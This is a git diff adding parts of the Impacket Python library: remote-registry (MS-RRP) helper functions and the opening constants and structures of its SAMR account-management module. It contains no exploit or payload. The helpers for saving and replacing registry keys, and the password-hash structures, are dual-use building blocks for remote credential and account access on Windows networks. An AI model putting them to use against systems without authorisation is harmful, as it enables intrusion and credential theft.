+OPNUMS = {
+ 0 : (OpenClassesRoot, OpenClassesRootResponse),
+ 1 : (OpenCurrentUser, OpenCurrentUserResponse),
+ 2 : (OpenLocalMachine, OpenLocalMachineResponse),
+ 3 : (OpenPerformanceData, OpenPerformanceDataResponse),
+ 4 : (OpenUsers, OpenUsersResponse),
+ 5 : (BaseRegCloseKey, BaseRegCloseKeyResponse),
+ 6 : (BaseRegCreateKey, BaseRegCreateKeyResponse),
+ 7 : (BaseRegDeleteKey, BaseRegDeleteKeyResponse),
+ 8 : (BaseRegDeleteValue, BaseRegDeleteValueResponse),
+ 9 : (BaseRegEnumKey, BaseRegEnumKeyResponse),
+10 : (BaseRegEnumValue, BaseRegEnumValueResponse),
+11 : (BaseRegFlushKey, BaseRegFlushKeyResponse),
+12 : (BaseRegGetKeySecurity, BaseRegGetKeySecurityResponse),
+13 : (BaseRegLoadKey, BaseRegLoadKeyResponse),
+15 : (BaseRegOpenKey, BaseRegOpenKeyResponse),
+16 : (BaseRegQueryInfoKey, BaseRegQueryInfoKeyResponse),
+17 : (BaseRegQueryValue, BaseRegQueryValueResponse),
+18 : (BaseRegReplaceKey, BaseRegReplaceKeyResponse),
+19 : (BaseRegRestoreKey, BaseRegRestoreKeyResponse),
+20 : (BaseRegSaveKey, BaseRegSaveKeyResponse),
+21 : (BaseRegSetKeySecurity, BaseRegSetKeySecurityResponse),
+22 : (BaseRegSetValue, BaseRegSetValueResponse),
+23 : (BaseRegUnLoadKey, BaseRegUnLoadKeyResponse),
+26 : (BaseRegGetVersion, BaseRegGetVersionResponse),
+27 : (OpenCurrentConfig, OpenCurrentConfigResponse),
+29 : (BaseRegQueryMultipleValues, BaseRegQueryMultipleValuesResponse),
+31 : (BaseRegSaveKeyEx, BaseRegSaveKeyExResponse),
+32 : (OpenPerformanceText, OpenPerformanceTextResponse),
+33 : (OpenPerformanceNlsText, OpenPerformanceNlsTextResponse),
+34 : (BaseRegQueryMultipleValues2, BaseRegQueryMultipleValues2Response),
+35 : (BaseRegDeleteKeyEx, BaseRegDeleteKeyExResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def checkNullString(string):
+    if string == NULL:
+        return string
+
+    if string[-1:] != '\x00':
+        return string + '\x00'
+    else:
+        return string
+
+def packValue(valueType, value):
+    if valueType == REG_DWORD:
+        retData = pack('<L', value)
+    elif valueType == REG_DWORD_BIG_ENDIAN:
+        retData = pack('>L', value)
+    elif valueType == REG_EXPAND_SZ:
+        try:
+            retData = value.encode('utf-16le')
+        except UnicodeDecodeError:
+            import sys
+            retData = value.decode(sys.getfilesystemencoding()).encode('utf-16le')
+    elif valueType == REG_MULTI_SZ:
+        try:
+            retData = value.encode('utf-16le')
+        except UnicodeDecodeError:
+            import sys
+            retData = value.decode(sys.getfilesystemencoding()).encode('utf-16le')
+    elif valueType == REG_QWORD:
+        retData = pack('<Q', value)
+    elif valueType == REG_QWORD_LITTLE_ENDIAN:
+        retData = pack('>Q', value)
+    elif valueType == REG_SZ:
+        try:
+            retData = value.encode('utf-16le')
+        except UnicodeDecodeError:
+            import sys
+            retData = value.decode(sys.getfilesystemencoding()).encode('utf-16le')
+    else:
+        retData = value
+
+    return retData
+
+def unpackValue(valueType, value):
+    if valueType == REG_DWORD:
+        retData = unpack('<L', b''.join(value))[0]
+    elif valueType == REG_DWORD_BIG_ENDIAN:
+        retData = unpack('>L', b''.join(value))[0]
+    elif valueType == REG_EXPAND_SZ:
+        retData = b''.join(value).decode('utf-16le')
+    elif valueType == REG_MULTI_SZ:
+        retData = b''.join(value).decode('utf-16le')
+    elif valueType == REG_QWORD:
+        retData = unpack('<Q', b''.join(value))[0]
+    elif valueType == REG_QWORD_LITTLE_ENDIAN:
+        retData = unpack('>Q', b''.join(value))[0]
+    elif valueType == REG_SZ:
+        retData = b''.join(value).decode('utf-16le')
+    else:
+        retData = b''.join(value)
+
+    return retData
+
+def hOpenClassesRoot(dce, samDesired = MAXIMUM_ALLOWED):
+    request = OpenClassesRoot()
+    request['ServerName'] = NULL
+    request['samDesired'] = samDesired
+    return dce.request(request)
+
+def hOpenCurrentUser(dce, samDesired = MAXIMUM_ALLOWED):
+    request = OpenCurrentUser()
+    request['ServerName'] = NULL
+    request['samDesired'] = samDesired
+    return dce.request(request)
+
+def hOpenLocalMachine(dce, samDesired = MAXIMUM_ALLOWED):
+    request = OpenLocalMachine()
+    request['ServerName'] = NULL
+    request['samDesired'] = samDesired
+    return dce.request(request)
+
+def hOpenPerformanceData(dce, samDesired = MAXIMUM_ALLOWED):
+    request = OpenPerformanceData()
+    request['ServerName'] = NULL
+    request['samDesired'] = samDesired
+    return dce.request(request)
+
+def hOpenUsers(dce, samDesired = MAXIMUM_ALLOWED):
+    request = OpenUsers()
+    request['ServerName'] = NULL
+    request['samDesired'] = samDesired
+    return dce.request(request)
+
+def hBaseRegCloseKey(dce, hKey):
+    request = BaseRegCloseKey()
+    request['hKey'] = hKey
+    return dce.request(request)
+
+def hBaseRegCreateKey(dce, hKey, lpSubKey, lpClass = NULL, dwOptions = 0x00000001, samDesired = MAXIMUM_ALLOWED, lpSecurityAttributes = NULL, lpdwDisposition = REG_CREATED_NEW_KEY):
+    request = BaseRegCreateKey()
+    request['hKey'] = hKey
+    request['lpSubKey'] = checkNullString(lpSubKey)
+    request['lpClass'] = checkNullString(lpClass)
+    request['dwOptions'] = dwOptions
+    request['samDesired'] = samDesired
+    if lpSecurityAttributes == NULL:
+        request['lpSecurityAttributes']['RpcSecurityDescriptor']['lpSecurityDescriptor'] = NULL
+    else:
+        request['lpSecurityAttributes'] = lpSecurityAttributes
+    request['lpdwDisposition'] = lpdwDisposition
+
+    return dce.request(request)
+
+def hBaseRegDeleteKey(dce, hKey, lpSubKey):
+    request = BaseRegDeleteKey()
+    request['hKey'] = hKey
+    request['lpSubKey'] = checkNullString(lpSubKey)
+    return dce.request(request)
+
+def hBaseRegEnumKey(dce, hKey, dwIndex, lpftLastWriteTime = NULL):
+    request = BaseRegEnumKey()
+    request['hKey'] = hKey
+    request['dwIndex'] = dwIndex
+    request.fields['lpNameIn'].fields['MaximumLength'] = 1024
+    request.fields['lpNameIn'].fields['Data'].fields['Data'].fields['MaximumCount'] = 1024//2
+    request['lpClassIn'] = ' '* 64
+    request['lpftLastWriteTime'] = lpftLastWriteTime
+
+    return dce.request(request)
+
+def hBaseRegEnumValue(dce, hKey, dwIndex, dataLen=256):
+    request = BaseRegEnumValue()
+    request['hKey'] = hKey
+    request['dwIndex'] = dwIndex
+    retries = 1
+
+    # We need to be aware the size might not be enough, so let's catch ERROR_MORE_DATA exception
+    while True:
+        try:
+            # Only the maximum length field of the lpValueNameIn is used to determine the buffer length to be allocated
+            # by the service. Specify a string with a zero length but maximum length set to the largest buffer size
+            # needed to hold the value names.
+            request.fields['lpValueNameIn'].fields['MaximumLength'] = dataLen*2
+            request.fields['lpValueNameIn'].fields['Data'].fields['Data'].fields['MaximumCount'] = dataLen
+
+            request['lpData'] = b' ' * dataLen
+            request['lpcbData'] = dataLen
+            request['lpcbLen'] = dataLen
+            resp = dce.request(request)
+        except DCERPCSessionError as e:
+            if retries > 1:
+                LOG.debug('Too many retries when calling hBaseRegEnumValue, aborting')
+                raise
+            if e.get_error_code() == system_errors.ERROR_MORE_DATA:
+                # We need to adjust the size
+                retries +=1
+                dataLen = e.get_packet()['lpcbData']
+                continue
+            else:
+                raise
+        else:
+            break
+
+    return resp
+
+def hBaseRegFlushKey(dce, hKey):
+    request = BaseRegFlushKey()
+    request['hKey'] = hKey
+    return dce.request(request)
+
+def hBaseRegGetKeySecurity(dce, hKey, securityInformation = OWNER_SECURITY_INFORMATION ):
+    request = BaseRegGetKeySecurity()
+    request['hKey'] = hKey
+    request['SecurityInformation'] = securityInformation
+    request['pRpcSecurityDescriptorIn']['lpSecurityDescriptor'] = NULL
+    request['pRpcSecurityDescriptorIn']['cbInSecurityDescriptor'] = 1024
+
+    return dce.request(request)
+
+def hBaseRegLoadKey(dce, hKey, lpSubKey, lpFile):
+    request = BaseRegLoadKey()
+    request['hKey'] = hKey
+    request['lpSubKey'] = checkNullString(lpSubKey)
+    request['lpFile'] = checkNullString(lpFile)
+    return dce.request(request)
+
+def hBaseRegUnLoadKey(dce, hKey, lpSubKey):
+    request = BaseRegUnLoadKey()
+    request['hKey'] = hKey
+    request['lpSubKey'] = checkNullString(lpSubKey)
+    return dce.request(request)
+
+def hBaseRegOpenKey(dce, hKey, lpSubKey, dwOptions=0x00000001, samDesired = MAXIMUM_ALLOWED):
+    request = BaseRegOpenKey()
+    request['hKey'] = hKey
+    request['lpSubKey'] = checkNullString(lpSubKey)
+    request['dwOptions'] = dwOptions
+    request['samDesired'] = samDesired
+    return dce.request(request)
+
+def hBaseRegQueryInfoKey(dce, hKey):
+    request = BaseRegQueryInfoKey()
+    request['hKey'] = hKey
+    # Not the cleanest way, but oh well
+    # Plus, Windows XP needs MaximumCount also set
+    request.fields['lpClassIn'].fields['MaximumLength'] = 1024
+    request.fields['lpClassIn'].fields['Data'].fields['Data'].fields['MaximumCount'] = 1024//2
+    return dce.request(request)
+
+def hBaseRegQueryValue(dce, hKey, lpValueName, dataLen=512):
+    request = BaseRegQueryValue()
+    request['hKey'] = hKey
+    request['lpValueName'] = checkNullString(lpValueName)
+    retries = 1
+
+    # We need to be aware the size might not be enough, so let's catch ERROR_MORE_DATA exception
+    while True:
+        try:
+            request['lpData'] =b' ' * dataLen
+            request['lpcbData'] = dataLen
+            request['lpcbLen'] = dataLen
+            resp = dce.request(request)
+        except DCERPCSessionError as e:
+            if retries > 1:
+                LOG.debug('Too many retries when calling hBaseRegQueryValue, aborting')
+                raise
+            if e.get_error_code() == system_errors.ERROR_MORE_DATA:
+                # We need to adjust the size
+                dataLen = e.get_packet()['lpcbData']
+                continue
+            else:
+                raise
+        else:
+            break
+
+    # Returns
+    # ( dataType, data )
+    return resp['lpType'], unpackValue(resp['lpType'], resp['lpData'])
+
+def hBaseRegReplaceKey(dce, hKey, lpSubKey, lpNewFile, lpOldFile):
+    request = BaseRegReplaceKey()
+    request['hKey'] = hKey
+    request['lpSubKey'] = checkNullString(lpSubKey)
+    request['lpNewFile'] = checkNullString(lpNewFile)
+    request['lpOldFile'] = checkNullString(lpOldFile)
+    return dce.request(request)
+
+def hBaseRegRestoreKey(dce, hKey, lpFile, flags=REG_REFRESH_HIVE):
+    request = BaseRegRestoreKey()
+    request['hKey'] = hKey
+    request['lpFile'] = checkNullString(lpFile)
+    request['Flags'] = flags
+    return dce.request(request)
+
+def hBaseRegSaveKey(dce, hKey, lpFile, pSecurityAttributes = NULL):
+    request = BaseRegSaveKey()
+    request['hKey'] = hKey
+    request['lpFile'] = checkNullString(lpFile)
+    request['pSecurityAttributes'] = pSecurityAttributes
+    return dce.request(request)
+
+def hBaseRegSetValue(dce, hKey, lpValueName, dwType, lpData):
+    request = BaseRegSetValue()
+    request['hKey'] = hKey
+    request['lpValueName'] = checkNullString(lpValueName)
+    request['dwType'] = dwType
+    request['lpData'] = packValue(dwType,lpData)
+    request['cbData'] = len(request['lpData'])
+    return dce.request(request)
+
+def hBaseRegGetVersion(dce, hKey):
+    request = BaseRegGetVersion()
+    request['hKey'] = hKey
+    return dce.request(request)
+
+def hOpenCurrentConfig(dce, samDesired = MAXIMUM_ALLOWED):
+    request = OpenCurrentConfig()
+    request['ServerName'] = NULL
+    request['samDesired'] = samDesired
+    return dce.request(request)
+
+def hBaseRegQueryMultipleValues(dce, hKey, val_listIn):
+    # ToDo, check the result to see whether we need to
+    # have a bigger buffer for the data to receive
+    request = BaseRegQueryMultipleValues()
+    request['hKey'] = hKey
+
+    for item in  val_listIn:
+        itemn = RVALENT()
+        itemn['ve_valuename'] = checkNullString(item['ValueName'])
+        itemn['ve_valuelen'] = len(itemn['ve_valuename'])
+        itemn['ve_valueptr'] = NULL
+        itemn['ve_type'] = item['ValueType']
+        request['val_listIn'].append(itemn)
+
+    request['num_vals'] = len(request['val_listIn'])
+    request['lpvalueBuf'] = list(b' '*128)
+    request['ldwTotsize'] = 128
+
+    resp = dce.request(request)
+    retVal = list()
+    for item in resp['val_listOut']:
+        itemn = dict()
+        itemn['ValueName'] = item['ve_valuename']
+        itemn['ValueData'] = unpackValue(item['ve_type'], resp['lpvalueBuf'][item['ve_valueptr'] : item['ve_valueptr']+item['ve_valuelen']])
+        retVal.append(itemn)
+
+    return retVal
+
+def hBaseRegSaveKeyEx(dce, hKey, lpFile, pSecurityAttributes = NULL, flags=1):
+    request = BaseRegSaveKeyEx()
+    request['hKey'] = hKey
+    request['lpFile'] = checkNullString(lpFile)
+    request['pSecurityAttributes'] = pSecurityAttributes
+    request['Flags'] = flags
+    return dce.request(request)
+
+def hOpenPerformanceText(dce, samDesired = MAXIMUM_ALLOWED):
+    request = OpenPerformanceText()
+    request['ServerName'] = NULL
+    request['samDesired'] = samDesired
+    return dce.request(request)
+
+def hOpenPerformanceNlsText(dce, samDesired = MAXIMUM_ALLOWED):
+    request = OpenPerformanceNlsText()
+    request['ServerName'] = NULL
+    request['samDesired'] = samDesired
+    return dce.request(request)
+
+def hBaseRegDeleteValue(dce, hKey, lpValueName):
+    request = BaseRegDeleteValue()
+    request['hKey'] = hKey
+    request['lpValueName'] = checkNullString(lpValueName)
+    return dce.request(request)
diff --git a/impacket/dcerpc/v5/samr.py b/impacket/dcerpc/v5/samr.py
new file mode 100644
index 0000000..4a6ee3e
--- /dev/null
+++ b/impacket/dcerpc/v5/samr.py
@@ -0,0 +1,2980 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-SAMR] Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from __future__ import division
+from __future__ import print_function
+from binascii import unhexlify
+
+from impacket.dcerpc.v5.ndr import NDRCALL, NDR, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRUniConformantArray, \
+    NDRUniConformantVaryingArray, NDRENUM
+from impacket.dcerpc.v5.dtypes import NULL, RPC_UNICODE_STRING, ULONG, USHORT, UCHAR, LARGE_INTEGER, RPC_SID, LONG, STR, \
+    LPBYTE, SECURITY_INFORMATION, PRPC_SID, PRPC_UNICODE_STRING, LPWSTR
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket import nt_errors, LOG
+from impacket.uuid import uuidtup_to_bin
+from impacket.dcerpc.v5.enum import Enum
+from impacket.structure import Structure
+
+import struct
+import os
+from hashlib import md5
+from Cryptodome.Cipher import ARC4
+
+MSRPC_UUID_SAMR   = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in nt_errors.ERROR_MESSAGES:
+            error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
+            return 'SAMR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'SAMR SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+PSAMPR_SERVER_NAME = LPWSTR
+# 2.2.1.1 Common ACCESS_MASK Values
+DELETE                  = 0x00010000
+READ_CONTROL            = 0x00020000
+WRITE_DAC               = 0x00040000
+WRITE_OWNER             = 0x00080000
+ACCESS_SYSTEM_SECURITY  = 0x01000000
+MAXIMUM_ALLOWED         = 0x02000000
+
+# 2.2.1.2 Generic ACCESS_MASK Values
+GENERIC_READ     = 0x80000000
+GENERIC_WRITE    = 0x40000000
+GENERIC_EXECUTE  = 0x20000000
+GENERIC_ALL      = 0x10000000
+
+# 2.2.1.3 Server ACCESS_MASK Values
+SAM_SERVER_CONNECT            = 0x00000001
+SAM_SERVER_SHUTDOWN           = 0x00000002
+SAM_SERVER_INITIALIZE         = 0x00000004
+SAM_SERVER_CREATE_DOMAIN      = 0x00000008
+SAM_SERVER_ENUMERATE_DOMAINS  = 0x00000010
+SAM_SERVER_LOOKUP_DOMAIN      = 0x00000020
+SAM_SERVER_ALL_ACCESS         = 0x000F003F
+SAM_SERVER_READ               = 0x00020010
+SAM_SERVER_WRITE              = 0x0002000E
+SAM_SERVER_EXECUTE            = 0x00020021
+
+# 2.2.1.4 Domain ACCESS_MASK Values
+DOMAIN_READ_PASSWORD_PARAMETERS = 0x00000001
+DOMAIN_WRITE_PASSWORD_PARAMS    = 0x00000002
+DOMAIN_READ_OTHER_PARAMETERS    = 0x00000004
+DOMAIN_WRITE_OTHER_PARAMETERS   = 0x00000008
+DOMAIN_CREATE_USER              = 0x00000010
+DOMAIN_CREATE_GROUP             = 0x00000020
+DOMAIN_CREATE_ALIAS             = 0x00000040
+DOMAIN_GET_ALIAS_MEMBERSHIP     = 0x00000080
+DOMAIN_LIST_ACCOUNTS            = 0x00000100
+DOMAIN_LOOKUP                   = 0x00000200
+DOMAIN_ADMINISTER_SERVER        = 0x00000400
+DOMAIN_ALL_ACCESS               = 0x000F07FF
+DOMAIN_READ                     = 0x00020084
+DOMAIN_WRITE                    = 0x0002047A
+DOMAIN_EXECUTE                  = 0x00020301
+
+# 2.2.1.5 Group ACCESS_MASK Values
+GROUP_READ_INFORMATION  = 0x00000001
+GROUP_WRITE_ACCOUNT     = 0x00000002
+GROUP_ADD_MEMBER        = 0x00000004
+GROUP_REMOVE_MEMBER     = 0x00000008
+GROUP_LIST_MEMBERS      = 0x00000010
+GROUP_ALL_ACCESS        = 0x000F001F
+GROUP_READ              = 0x00020010
+GROUP_WRITE             = 0x0002000E
+GROUP_EXECUTE           = 0x00020001
+
+# 2.2.1.6 Alias ACCESS_MASK Values
+ALIAS_ADD_MEMBER        = 0x00000001
+ALIAS_REMOVE_MEMBER     = 0x00000002
+ALIAS_LIST_MEMBERS      = 0x00000004
+ALIAS_READ_INFORMATION  = 0x00000008
+ALIAS_WRITE_ACCOUNT     = 0x00000010
+ALIAS_ALL_ACCESS        = 0x000F001F
+ALIAS_READ              = 0x00020004
+ALIAS_WRITE             = 0x00020013
+ALIAS_EXECUTE           = 0x00020008
+
+# 2.2.1.7 User ACCESS_MASK Values
+USER_READ_GENERAL            = 0x00000001
+USER_READ_PREFERENCES        = 0x00000002
+USER_WRITE_PREFERENCES       = 0x00000004
+USER_READ_LOGON              = 0x00000008
+USER_READ_ACCOUNT            = 0x00000010
+USER_WRITE_ACCOUNT           = 0x00000020
+USER_CHANGE_PASSWORD         = 0x00000040
+USER_FORCE_PASSWORD_CHANGE   = 0x00000080
+USER_LIST_GROUPS             = 0x00000100
+USER_READ_GROUP_INFORMATION  = 0x00000200
+USER_WRITE_GROUP_INFORMATION = 0x00000400
+USER_ALL_ACCESS              = 0x000F07FF
+USER_READ                    = 0x0002031A
+USER_WRITE                   = 0x00020044
+USER_EXECUTE                 = 0x00020041
+
+# 2.2.1.8 USER_ALL Values
+USER_ALL_USERNAME            = 0x00000001
+USER_ALL_FULLNAME            = 0x00000002
+USER_ALL_USERID              = 0x00000004
+USER_ALL_PRIMARYGROUPID      = 0x00000008
+USER_ALL_ADMINCOMMENT        = 0x00000010
+USER_ALL_USERCOMMENT         = 0x00000020
+USER_ALL_HOMEDIRECTORY       = 0x00000040
+USER_ALL_HOMEDIRECTORYDRIVE  = 0x00000080
+USER_ALL_SCRIPTPATH          = 0x00000100
+USER_ALL_PROFILEPATH         = 0x00000200
+USER_ALL_WORKSTATIONS        = 0x00000400
+USER_ALL_LASTLOGON           = 0x00000800
+USER_ALL_LASTLOGOFF          = 0x00001000
+USER_ALL_LOGONHOURS          = 0x00002000
+USER_ALL_BADPASSWORDCOUNT    = 0x00004000
+USER_ALL_LOGONCOUNT          = 0x00008000
+USER_ALL_PASSWORDCANCHANGE   = 0x00010000
+USER_ALL_PASSWORDMUSTCHANGE  = 0x00020000
+USER_ALL_PASSWORDLASTSET     = 0x00040000
+USER_ALL_ACCOUNTEXPIRES      = 0x00080000
+USER_ALL_USERACCOUNTCONTROL  = 0x00100000
+USER_ALL_PARAMETERS          = 0x00200000
+USER_ALL_COUNTRYCODE         = 0x00400000
+USER_ALL_CODEPAGE            = 0x00800000
+USER_ALL_NTPASSWORDPRESENT   = 0x01000000
+USER_ALL_LMPASSWORDPRESENT   = 0x02000000
+USER_ALL_PRIVATEDATA         = 0x04000000
+USER_ALL_PASSWORDEXPIRED     = 0x08000000
+USER_ALL_SECURITYDESCRIPTOR  = 0x10000000
+USER_ALL_UNDEFINED_MASK      = 0xC0000000
+
+# 2.2.1.9 ACCOUNT_TYPE Values
+SAM_DOMAIN_OBJECT             = 0x00000000
+SAM_GROUP_OBJECT              = 0x10000000
+SAM_NON_SECURITY_GROUP_OBJECT = 0x10000001
+SAM_ALIAS_OBJECT              = 0x20000000
+SAM_NON_SECURITY_ALIAS_OBJECT = 0x20000001
+SAM_USER_OBJECT               = 0x30000000
+SAM_MACHINE_ACCOUNT           = 0x30000001
+SAM_TRUST_ACCOUNT             = 0x30000002
+SAM_APP_BASIC_GROUP           = 0x40000000
+SAM_APP_QUERY_GROUP           = 0x40000001
+
+# 2.2.1.10 SE_GROUP Attributes
+SE_GROUP_MANDATORY            = 0x00000001
+SE_GROUP_ENABLED_BY_DEFAULT   = 0x00000002
+SE_GROUP_ENABLED              = 0x00000004
+
+# 2.2.1.11 GROUP_TYPE Codes
+GROUP_TYPE_ACCOUNT_GROUP      = 0x00000002
+GROUP_TYPE_RESOURCE_GROUP     = 0x00000004
+GROUP_TYPE_UNIVERSAL_GROUP    = 0x00000008
+GROUP_TYPE_SECURITY_ENABLED   = 0x80000000
+GROUP_TYPE_SECURITY_ACCOUNT   = 0x80000002
+GROUP_TYPE_SECURITY_RESOURCE  = 0x80000004
+GROUP_TYPE_SECURITY_UNIVERSAL = 0x80000008
+
+# 2.2.1.12 USER_ACCOUNT Codes
+USER_ACCOUNT_DISABLED                       = 0x00000001
+USER_HOME_DIRECTORY_REQUIRED                = 0x00000002
+USER_PASSWORD_NOT_REQUIRED                  = 0x00000004
+USER_TEMP_DUPLICATE_ACCOUNT                 = 0x00000008
+USER_NORMAL_ACCOUNT                         = 0x00000010
+USER_MNS_LOGON_ACCOUNT                      = 0x00000020
+USER_INTERDOMAIN_TRUST_ACCOUNT              = 0x00000040
+USER_WORKSTATION_TRUST_ACCOUNT              = 0x00000080
+USER_SERVER_TRUST_ACCOUNT                   = 0x00000100
+USER_DONT_EXPIRE_PASSWORD                   = 0x00000200
+USER_ACCOUNT_AUTO_LOCKED                    = 0x00000400
+USER_ENCRYPTED_TEXT_PASSWORD_ALLOWED        = 0x00000800
+USER_SMARTCARD_REQUIRED                     = 0x00001000
+USER_TRUSTED_FOR_DELEGATION                 = 0x00002000
+USER_NOT_DELEGATED                          = 0x00004000
+USER_USE_DES_KEY_ONLY                       = 0x00008000
+USER_DONT_REQUIRE_PREAUTH                   = 0x00010000
+USER_PASSWORD_EXPIRED                       = 0x00020000
+USER_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x00040000
+USER_NO_AUTH_DATA_REQUIRED                  = 0x00080000
+USER_PARTIAL_SECRETS_ACCOUNT                = 0x00100000
+USER_USE_AES_KEYS                           = 0x00200000
+
+# 2.2.1.13 UF_FLAG Codes
+UF_SCRIPT                                 = 0x00000001
+UF_ACCOUNTDISABLE                         = 0x00000002
+UF_HOMEDIR_REQUIRED                       = 0x00000008
+UF_LOCKOUT                                = 0x00000010
+UF_PASSWD_NOTREQD                         = 0x00000020
+UF_PASSWD_CANT_CHANGE                     = 0x00000040
+UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED        = 0x00000080
+UF_TEMP_DUPLICATE_ACCOUNT                 = 0x00000100
+UF_NORMAL_ACCOUNT                         = 0x00000200
+UF_INTERDOMAIN_TRUST_ACCOUNT              = 0x00000800
+UF_WORKSTATION_TRUST_ACCOUNT              = 0x00001000
+UF_SERVER_TRUST_ACCOUNT                   = 0x00002000
+UF_DONT_EXPIRE_PASSWD                     = 0x00010000
+UF_MNS_LOGON_ACCOUNT                      = 0x00020000
+UF_SMARTCARD_REQUIRED                     = 0x00040000
+UF_TRUSTED_FOR_DELEGATION                 = 0x00080000
+UF_NOT_DELEGATED                          = 0x00100000
+UF_USE_DES_KEY_ONLY                       = 0x00200000
+UF_DONT_REQUIRE_PREAUTH                   = 0x00400000
+UF_PASSWORD_EXPIRED                       = 0x00800000
+UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x01000000
+UF_NO_AUTH_DATA_REQUIRED                  = 0x02000000
+UF_PARTIAL_SECRETS_ACCOUNT                = 0x04000000
+UF_USE_AES_KEYS                           = 0x08000000
+
+# 2.2.1.14 Predefined RIDs
+DOMAIN_USER_RID_ADMIN                 = 0x000001F4
+DOMAIN_USER_RID_GUEST                 = 0x000001F5
+DOMAIN_USER_RID_KRBTGT                = 0x000001F6
+DOMAIN_GROUP_RID_ADMINS               = 0x00000200
+DOMAIN_GROUP_RID_USERS                = 0x00000201
+DOMAIN_GROUP_RID_COMPUTERS            = 0x00000203
+DOMAIN_GROUP_RID_CONTROLLERS          = 0x00000204
+DOMAIN_ALIAS_RID_ADMINS               = 0x00000220
+DOMAIN_GROUP_RID_READONLY_CONTROLLERS = 0x00000209
+
+# 2.2.4.1 Domain Fields
+DOMAIN_PASSWORD_COMPLEX         = 0x00000001
+DOMAIN_PASSWORD_NO_ANON_CHANGE  = 0x00000002
+DOMAIN_PASSWORD_NO_CLEAR_CHANGE = 0x00000004
+DOMAIN_LOCKOUT_ADMINS           = 0x00000008
+DOMAIN_PASSWORD_STORE_CLEARTEXT = 0x00000010
+DOMAIN_REFUSE_PASSWORD_CHANGE   = 0x00000020
+
+# 2.2.9.2 SAM_VALIDATE_PERSISTED_FIELDS PresentFields
+SAM_VALIDATE_PASSWORD_LAST_SET       = 0x00000001
+SAM_VALIDATE_BAD_PASSWORD_TIME       = 0x00000002
+SAM_VALIDATE_LOCKOUT_TIME            = 0x00000004
+SAM_VALIDATE_BAD_PASSWORD_COUNT      = 0x00000008
+SAM_VALIDATE_PASSWORD_HISTORY_LENGTH = 0x00000010
+SAM_VALIDATE_PASSWORD_HISTORY        = 0x00000020
+
+################################################################################
+# STRUCTURES
+################################################################################
+class RPC_UNICODE_STRING_ARRAY(NDRUniConformantVaryingArray):
+    item = RPC_UNICODE_STRING
+
+class RPC_UNICODE_STRING_ARRAY_C(NDRUniConformantArray):
+    item = RPC_UNICODE_STRING
+
+class PRPC_UNICODE_STRING_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',RPC_UNICODE_STRING_ARRAY_C),
+    )
+
+# 2.2.2.1 RPC_STRING, PRPC_STRING
+class RPC_STRING(NDRSTRUCT):
+    commonHdr = (
+        ('MaximumLength','<H=len(Data)-12'),
+        ('Length','<H=len(Data)-12'),
+        ('ReferentID','<L=0xff'),
+    )
+    commonHdr64 = (
+        ('MaximumLength','<H=len(Data)-24'),
+        ('Length','<H=len(Data)-24'),
+        ('ReferentID','<Q=0xff'),
+    )
+
+    referent = (
+        ('Data',STR),
+    )
+
+    def dump(self, msg = None, indent = 0):
+        if msg is None:
+            msg = self.__class__.__name__
+        if msg != '':
+            print("%s" % msg, end=' ')
+        # Here just print the data
+        print(" %r" % (self['Data']), end=' ')
+
+class PRPC_STRING(NDRPOINTER):
+    referent = (
+        ('Data', RPC_STRING),
+    )
+
+# 2.2.2.2 OLD_LARGE_INTEGER
+class OLD_LARGE_INTEGER(NDRSTRUCT):
+    structure = (
+        ('LowPart',ULONG),
+        ('HighPart',LONG),
+    )
+
+# 2.2.2.3 SID_NAME_USE
+class SID_NAME_USE(NDRENUM):
+    class enumItems(Enum):
+        SidTypeUser            = 1
+        SidTypeGroup           = 2
+        SidTypeDomain          = 3
+        SidTypeAlias           = 4
+        SidTypeWellKnownGroup  = 5
+        SidTypeDeletedAccount  = 6
+        SidTypeInvalid         = 7
+        SidTypeUnknown         = 8
+        SidTypeComputer        = 9
+        SidTypeLabel           = 10
+
+# 2.2.2.4 RPC_SHORT_BLOB
+class USHORT_ARRAY(NDRUniConformantVaryingArray):
+    item = '<H'
+    pass
+
+class PUSHORT_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', USHORT_ARRAY),
+    )
+
+class RPC_SHORT_BLOB(NDRSTRUCT):
+    structure = (
+        ('Length', USHORT),
+        ('MaximumLength', USHORT),
+        ('Buffer',PUSHORT_ARRAY),
+    )
+
+# 2.2.3.2 SAMPR_HANDLE
+class SAMPR_HANDLE(NDRSTRUCT):
+    structure =  (
+        ('Data','20s=b""'),
+    )
+    def getAlignment(self):
+        if self._isNDR64 is True:
+            return 8
+        else:
+            return 4
+
+# 2.2.3.3 ENCRYPTED_LM_OWF_PASSWORD, ENCRYPTED_NT_OWF_PASSWORD
+class ENCRYPTED_LM_OWF_PASSWORD(NDRSTRUCT):
+    structure = (
+        ('Data', '16s=b""'),
+    )
+    def getAlignment(self):
+        return 1
+
+ENCRYPTED_NT_OWF_PASSWORD = ENCRYPTED_LM_OWF_PASSWORD
+
